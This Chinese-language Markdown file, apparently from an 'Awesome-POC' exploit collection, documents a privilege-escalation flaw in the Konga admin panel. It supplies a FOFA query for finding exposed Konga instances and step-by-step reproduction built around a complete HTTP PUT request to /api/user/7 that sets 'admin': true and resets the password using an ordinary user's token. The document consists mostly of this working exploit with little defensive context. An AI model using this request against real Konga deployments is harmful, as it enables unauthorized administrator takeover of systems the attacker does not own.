Awesome-POC/Web应用漏洞/Konga 普通用户越权获取管理员权限漏洞.md

# Konga 普通用户越权获取管理员权限漏洞

## 漏洞描述

Konga 普通用户通过发送特殊的请求可越权获取管理员权限

## 漏洞影响

```
Konga
```

## FOFA

```
"konga"
```

## 漏洞复现

登录页面



![image-20220210184626593](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101846658.png)

创建非管理员用户后登录并获取token



![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101847245.png)



发送请求包, 将token修改为刚刚获取的



```plain
PUT /api/user/7 HTTP/1.1
Host: 127.0.0.1:1337
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 241

{
  "admin": true,
  "passports": {
    "password": "1234abcd",
    "protocol": "local"
  },
  "password_confirmation": "1234abcd",
  "token": "non-administrator user token"
}
```



![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101847809.png)



成功转为管理员用户



![](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101847129.png)